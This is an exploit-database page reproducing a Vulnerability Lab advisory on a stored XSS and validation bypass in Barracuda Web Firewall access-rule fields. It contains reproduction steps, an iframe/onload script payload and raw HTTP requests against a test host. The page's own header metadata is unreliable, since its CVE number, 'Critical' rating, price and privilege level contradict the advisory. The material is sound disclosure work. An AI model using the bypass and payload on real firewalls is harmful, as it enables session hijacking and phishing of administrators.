Barracuda Networks Firewall Filter Bypass
CVE
Category
Price
Severity
CVE-2020-2040
CWE-287
$10,000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2014-02-26
CPE
cpe:cpe:/a:barracuda:firewall
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014020220 Below is a copy:Document Title:
===============
Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1069
Barracuda Networks Security ID (BNSEC): BNSEC-2069
Release Date:
=============
2014-02-24
Vulnerability Laboratory ID (VL-ID):
====================================
1069
Common Vulnerability Scoring System:
====================================
4
Product & Service Introduction:
===============================
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7
application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering
and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration
of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content
filtering and usage reporting benefit from the scalable performance and elasticity of the cloud.
(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple input validation web vulnerabilities in the Barracuda Networks Web Firewall appliance application.
Vulnerability Disclosure Timeline:
==================================
2013-09-27:Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-28:Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
2013-10-03:Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
2014-02-17:Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
2014-02-24:Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities and a filter bypass issue has been discovered in the official Barracuda Networks Web
Firewall appliance web application. The vulnerability allows remote attackers or local low privileged application user accounts to inject
(persistent) own malicious script codes on application-side of the vulnerable module or connected module components.
The vulnerability is located in the `Firewall > Firewall Rules > Add Access Rule` module. The vulnerable input fields are
`Source` and `Destination` IP Address in the general menu. Remote attackers are able to inject custom malicious script codes
to the `Source` and `Destination` input fields as IP.
Attackers can also add new access rules into the application or edit the existing ones with their custom injected payloads.
To bypass the filter and to be able to save the injected code into the application, attacker needs to create 2 entries.
First entry should be the Attackers payload and second entry should be any dummy IP address. Application only performs
validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection
of the script code into the application.
Exploitation of the persistent bug and filter bypass issue requires a low privileged application user account and low
user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects
& persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Application(s):
[+] Firewall (WAF) Appliance Application (X300Vx v6.1.0.016)
Vulnerable Module(s):
[+] Firewall > Firewall Rules > Add Access Rule > General
Vulnerable Parameter(s):
[+] fw_access_rule_src_net_type
[+] fw_access_rule_dst_net_type
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account
and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.
Manual steps to reproduce the vulnerability:
1. Login with the user account to the barracuda networks web firewall appliance application
2. Goto Firewall > Firewall Rules > Add Access Rule > General
3. Fill the name and description with dummy data
4. Goto the IP "Source" input field, Inject the following Payload and click the + button to add.
%20"><iframe onload=prompt(/POC/) src=x></iframe>
5. You should now be able to see a javascript popup proving the existence of this vulnerability.
6. Add another entry and this time, insert a dummy IP and click the + button to add
7. In the IP "Destination" enter the same payload used above.
8. You should again see a javascript popup proving the existence of this vulnerability.
9. Add another entry and this time, insert a dummy IP and click the + button to add
10. Upon clicking save, You should now be able to Save your injected payload without any problems into the application.
POC:
IP Source:
<input class="new_button" id="add_src_inc_button" name="+" onclick="add_src_inc_pattern(1);" value="+" type="button"></td></tr>
<tr class="network"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input class="new_button"
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.2</td><td><input class="new_button" value="-" name="incip^127.0.0.2" type="button"></td></tr></tbody></table></td>
IP Destination:
<input disabled="" class="new_button" id="add_dst_inc_button" name="+" onclick="add_dst_inc_pattern(1);" value="+"
type="button"></td></tr><tr class="network"><td>"><iframe onload="prompt(/POC/)" src="x"></iframe></td><td><input class="new_button"
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.5</td><td><input class="new_button" value="-" name="incip^127.0.0.5" type="button"></td></tr></tbody></table></td>
Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822aeb21d3903bcde&realm=&role=&user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules
--- PoC Request Session Logs ---
#1 Injecting Payload:
POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&
auth_type=Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 259
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_single&value=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe
%3E&user=guest&password=16847fb7405afa069b908f770f5ea75c&et=1378385995&locale=en_US&auth_type=Local&realm=
Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:43:37 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 166
[{"action":"error","message":"Illegal value ("><iframe ...) for <i>Source Include</i>: Invalid CIDR block","field":"UPDATE_fw_access_rule_src_inc_single"}]
#2 Inserting additional Valid dummy IP to bypass filter:
POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&auth_type=Local
&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 196
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25253Db
%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid%25253Dn
%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_single&value=127.0.0.1&user=guest&password=16847fb7405afa069b908f770f5ea75c&
et=1378385995&locale=en_US&auth_type=Local&realm=
Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:46:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2
#3 Final Save Request:
POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=2bc6bb8a9ed37744a427f8ced877e515&et=1378385551&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&auth_type=
Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 2297
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
auth_type=Local&et=1378385566&password=279846a33c95f3c4e29d25f6f4dc1b4c&primary_tab=FIREWALL&realm=&secondary_tab=firewall_access_rules&
user=guest&locale=en_US&popup_h
eight=850&popup_url=%2Fcgi-mod%2Findex.cgi%3Fpassword%3D2bc6bb8a9ed37744a427f8ced877e515%26et%3D1378385551%26primary_tab%3D
FIREWALL%26new_secondary_tab
%3Dfirewall_access_rules%26auth_type%3DLocal%26update_type%3Dadd%26locale%3Den_US%26secondary_tab%3Dadd_access_rule%26content_only%3D
1%26user%3Dguest%26backup_life
%3D0%26ispopup%3D1%26parent_name%3Dfirewall_access_rules%26popup_width%3D700%26popup_height
%3D850&popup_width=700&UPDATE_new_fw_access_rule_readonly=no&tabs_lasttab=tabs_tab_general&UPDATE_new_fw_access_rule_name=test&
UPDATE_new_fw_access_rule_disabled=&DEFA
ULT_new_fw_access_rule_disabled=no&UPDATE_new_fw_access_rule_desc=test&UPDATE_new_fw_access_rule_action=Allow&
UPDATE_new_fw_access_rule_connection=Dynamic
%20SNAT&DEFAULT_new_fw_access_rule_bidirectional=no&fw_access_rule_sel_services_left_list=&UPDATE_new_fw_access_rule_sel_services=&
UPDATE_new_fw_access_rule_src_inc_te
xt=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_src_inc=incip%5E%22%3E%3Ciframe%20onload%3Dprompt
(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2Cincip%5E127.0.0.1&fw_access_rule_src_net_type=IP
%20Addresses&UPDATE_fw_access_rule_src_inc_single=127.0.0.1&src_nobjs_inc=Any
&UPDATE_new_fw_access_rule_dst_inc_text=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC
%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_dst_inc=incip%5E%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E
%2Cincip%5E127.0.0.1&fw_access_rule_dst_net_type=IP
%20Addresses&UPDATE_fw_access_rule_dst_inc_single=127.0.0.1&UPDATE_new_fw_access_rule_bw_prio=internet&
UPDATE_new_fw_access_rule_app_policy=default&fw_access_rule_sel_
apps_left_list=&UPDATE_new_fw_access_rule_sel_apps=&fw_access_rule_sel_users_left_list=&
UPDATE_new_fw_access_rule_sel_users=&UPDATE_new_fw_access_rule_time_obj=&UPDATE
_new_fw_access_rule_iface_group=Matching&UPDATE_new_fw_access_rule_ips_policy=Default&
UPDATE_new_fw_access_rule_syn_fld_protection=Outbound&UPDATE_new_fw_access_rule_m
ax_sess=0&UPDATE_new_fw_access_rule_max_sess_per_src=0&ajax_action=check_param_ajax_full&add_fw_access_rule_name=Add
Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:35:32 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2
Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822aeb21d3903bcde&realm=&role=&
user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable fw_access_rule_src_net_type and fw_access_rule_dst_net_type values.
2014-02-17:Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities are estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan ([email protected] ) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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